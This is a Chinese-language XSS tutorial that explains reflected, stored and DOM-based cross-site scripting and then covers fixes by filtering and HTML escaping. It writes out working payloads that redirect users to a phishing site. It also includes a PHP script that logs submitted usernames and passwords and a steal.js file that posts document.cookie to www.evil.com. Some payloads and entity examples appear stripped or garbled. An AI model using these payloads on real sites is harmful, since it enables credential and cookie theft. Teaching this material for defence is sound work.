【东网技术大咖带您走进XSS】XSS跨站脚本攻击原理及防护
发布时间: 2017-02-24 16:54:31
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。跨站脚本攻击(XSS)指利用网站漏洞从用户那里恶意盗取信息。跨站脚本攻击是最常见的web应用程序安全漏洞之一,在2013年度OWASP top 10中排行第三。
XSS属于被动式的且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,通常是javascript编写的恶意代码。当用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。常见存在的场景如搜索框、输入框(用户名密码输入错误后,页面上会把用户名显示)等。
举一个简单的XSS漏洞例子,通过XSS漏洞构造恶意url盗取他人的cookie。a网站(192.168.1.1460:8000/admin/login.php)存在XSS漏洞:
构造恶意url:
浏览该恶意链接就会去执行语句,(http://192.168.1.147/xsstest/SAVE.php该地址下的SAVE.php是攻击者搭建的存入用户名密码的页面),当用户在该页面下提交用户名密码后,其实是在SAVE.php中提交密码。
在192.168.1.147服务器上就保存有用户名密码,如下图所示,这就是XSS攻击。
XSS攻击主要被分成了三类,分别是反射型、存储型和DOM型。
反射型XSS,通常也被称为非持久性XSS,是当前最容易出现的一种XSS漏洞。攻击者编写的恶意代码插入URL中,当用户访问这个带有XSS代码的URL请求时,服务器端接收用户数据后处理,然后将带有XSS代码的数据发送到浏览器,浏览器会解析并执行XSS代码,最终造成XSS漏洞。由于这个过程就像一次反射,所以被称为反射型XSS。
存储型XSS,通常也被称为持久性XSS,是最危险的一种跨站脚本。只要是web应用中允许用户存储数据的,都有可能出现存储型XSS漏洞。当攻击者在某个页面提交了一段恶意代码,被服务器接收并存储,当攻击者再一次访问这个页面时,这段XSS代码程序读出来响应给浏览器,就会造成XSS跨站攻击,这就是存储型XSS。
DOM型 XSS是特殊的跨站,将用户可控数据通过JavaScript和DOM技术输出到HTML中,利用方式通常与反射型XSS类似。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM型 XSS漏洞。
本期我们主要来介绍下反射型XSS。
反射型XSS攻击的常见思路:
接下来,我们介绍几种比较常见的XSS攻击。
第一种,攻击者常常利用XSS漏洞进行钓鱼攻击。
(1)XSS重定向钓鱼,这种钓鱼方式是把当前页面重定向到一个钓鱼网站上。假如www.bug.com为漏洞网站,网站www.evil.com为一个完全仿冒www.bug.com的网站,攻击者利用XSS漏洞将访问的用户跳转到冒牌的网站,从而进行钓鱼等诈骗活动。
假设www.bug.com上有一处XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
http://www.bug.com/index.php?search='><script>document.location.href="http://www.evil.com"</script>
这样便会让用户从当前访问的网站跳转到一个邪恶的钓鱼网站。
(2)XSS 跨框架钓鱼,这种方式是通过在HTML下的
这样便会使得邪恶的页面覆盖在正常的页面上,显示的url还是正常的url,从而进行钓鱼等诈骗活动。
(3)修改链接属性攻击,这是利用XSS漏洞,将正常页面中的某个链接修改成邪恶的网站链接,当用户点击的时候,就会跳转到该邪恶的页面。
假设www.bug.com上有一处XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
http://www.bug.com/index.php?search='>
这样一来,当用户点击了被修改的链接之后,就会跳转到该邪恶的页面,进行诈骗等行为。
(4)修改表单提交对象,最常见的就是在用户的登录页面,攻击者修改了用户数据提交的对象,当用户点击登陆时,用户的账户密码等信息就会发送到攻击者设置的对象那边。
攻击者精心编写了一个在用户登陆后获取用户名和密码的脚本SAVE.php
header("Content-type:text/html;charset=gb2312");
?>
$myfile = fopen("cookies.txt", "a") or die("Unable to open file!");
$username =$_REQUEST["username"];
$password =$_REQUEST["password"];
fwrite($myfile, "用户名:".$username);
fwrite($myfile, "\r\n");
fwrite($myfile, "密码:".$password);
fwrite($myfile, "\r\n");
fclose($myfile);
?>
window.location.href="http://10.10.10.144:8000/admin/login.php"
假设www.bug.com上有一处XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
这样一来,当用户点击登陆时,用户的账户密码等信息就会发送到攻击者设置的对象那边。
第二种,利用XSS漏洞盗取cookie。
攻击者精心编写了一个盗取cookie的脚本SAVE.php,和用来请求该脚本的steal.js文件
function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://www.evil.com/SAVE.PHP",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("T1="+document.cookie);
}
loadXMLDoc();
假设www.bug.com上有一处XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit如下:
http://www.bug.com/index.php?search='><script src="http://www.evil.com/steal.js">
这样一来,当用户访问时,用户的cookie信息就会自动发送到攻击者的手里。
从以上叙述可以得出结论,XSS跨站漏洞最终形成的原因是没有对输入输出进行严格的过滤,使得攻击者可以在页面执行javascript等客户端脚本。这也就意味着只要将敏感的字符过滤掉,就可以实现对XSS跨站漏洞的修补。以下介绍两种修补方案。
方案一:对特殊字符进行过滤
在HTML中,<、>、"、’&都比较有特殊的意义,因为HTML的标签、属性就是由这几个符号组成的,如果直接输出这几个特殊字符,就极有可能破坏整个HTML文档的结构。所以,一般情况下,XSS将这些进行过滤。
方案二:对用户可控数据html escape 转义
如PHP中提供了htmlspecialshar()、htmlentities()函数可以把一些预定义的字符转换为HTML实体。
预定义的字符如下:
&(和号)成为&
" (双引号)成为"
‘ (单引号)成为'
<(小于)成为<
>(大于)成为>
以上两个方案可根据具体场景选择使用。
对于web服务器的所有者来说,虽然最新版的浏览器对XSS攻击进行了过滤能在一定程度上保护用户不受XSS攻击,但旧版的浏览器上没有该功能,因此及时发现自身应用存在的XSS漏洞,并修补。避免对用户造成危害是很有必要的。总的来说,对于XSS跨站脚本攻击漏洞,其攻击手段虽然层出不穷,但是都可以彻底的解决。最重要的是能够真正掌控 "输入与输出"。